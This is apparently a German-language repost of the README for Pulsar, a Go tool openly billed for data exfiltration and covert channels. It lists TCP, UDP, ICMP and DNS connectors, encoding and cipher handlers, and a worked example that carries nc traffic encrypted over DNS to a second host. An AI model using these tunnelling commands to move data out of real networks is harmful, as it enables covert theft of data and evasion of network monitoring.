Pulsar

Pulsar ist ein Werkzeug zur Datenexfiltration und verdeckten Kommunikation, das es Ihnen ermöglicht, eine sichere Datenübertragung, einen skurrilen Chat oder einen Netzwerktunnel über verschiedene Protokolle zu erstellen. Sie können beispielsweise Daten von einer TCP-Verbindung empfangen und über DNS-Pakete an das eigentliche Ziel weiterleiten 🎉

Pulsar einrichten 🔨

⚠️ Stellen Sie sicher, dass auf Ihrem System mindestens Go 1.8 installiert ist, um Pulsar zu kompilieren ⚠️

Zuerst den Code aus dem Repository holen und mit folgendem Befehl kompilieren:

$ cd pulsar
$ go build -o bin/pulsar src/main.go

oder ausführen:

$ make

Konnektoren 📡

Ein Konnektor ist ein einfacher Kanal zur Außenwelt, mit dem Sie Daten aus verschiedenen Quellen lesen und schreiben können.

• Console:
  • Standard-Eingabe-/Ausgabe-Konnektor, liest Daten von stdin und schreibt nach stdout
• TCP

  • Liest und schreibt Daten über TCP-Verbindungen

    root@kitploit:~

      tcp:127.0.0.1:9000
    

• UDP

  • Liest und schreibt Daten über UDP-Pakete

    root@kitploit:~

      udp:127.0.0.1:9000
    

• ICMP

  • Liest und schreibt Daten über ICMP-Pakete

    root@kitploit:~

      icmp:127.0.0.1 (der Verbindungsport ist offensichtlich nutzlos)
    

• DNS

  • Liest und schreibt Daten über DNS-Pakete

    root@kitploit:~

      dns:[email protected]:1994
    

Sie können die Option --in verwenden, um den Eingabekonnektor auszuwählen, und die Option --out, um den Ausgabekonnektor auszuwählen:

    --in tcp:127.0.0.1:9000
    --out dns:fkdns.lol:2.3.4.5:8989
    

Handler 🔧

Ein Handler ermöglicht es Ihnen, Daten während der Übertragung zu verändern. Sie können Handler beliebig kombinieren.

• Stub:

  • Standard, tut nichts, leitet durch

• Base32

  • Base32-Kodierer/Dekodierer

    root@kitploit:~

      --handlers base32
    

• Base64

  • Base64-Kodierer/Dekodierer

    root@kitploit:~

      --handlers base64
    

• Cipher

  • CTR-Verschlüsselung, unterstützt AES/DES/TDES im CTR-Modus (Standard: AES)

    root@kitploit:~

      --handlers cipher:<key|[aes|des|tdes#key]>
    

Sie können die Option --decode verwenden, um ALLE Handler im Dekodierungsmodus zu verwenden

    --handlers base64,base32,base64,cipher:key --decode

Beispiel

Im folgenden Beispiel wird Pulsar verwendet, um einen sicheren bidirektionalen Tunnel über das DNS-Protokoll zu erstellen. Die Daten werden von einer TCP-Verbindung (einfacher nc-Client) gelesen und verschlüsselt durch den Tunnel gesendet.

[nc 127.0.0.1 9000] <--TCP--> [pulsar] <--DNS--> [pulsar] <--TCP--> [nc -l 127.0.0.1 -p 9900]

192.168.1.198:

$ ./pulsar --in tcp:127.0.0.1:9000 --out dns:[email protected]:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'
$ nc 127.0.0.1 9000

192.168.1.199:

$ nc -l 127.0.0.1 -p 9900
$ ./pulsar --in dns:[email protected]:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode

Mitwirken

Alle Beiträge sind jederzeit willkommen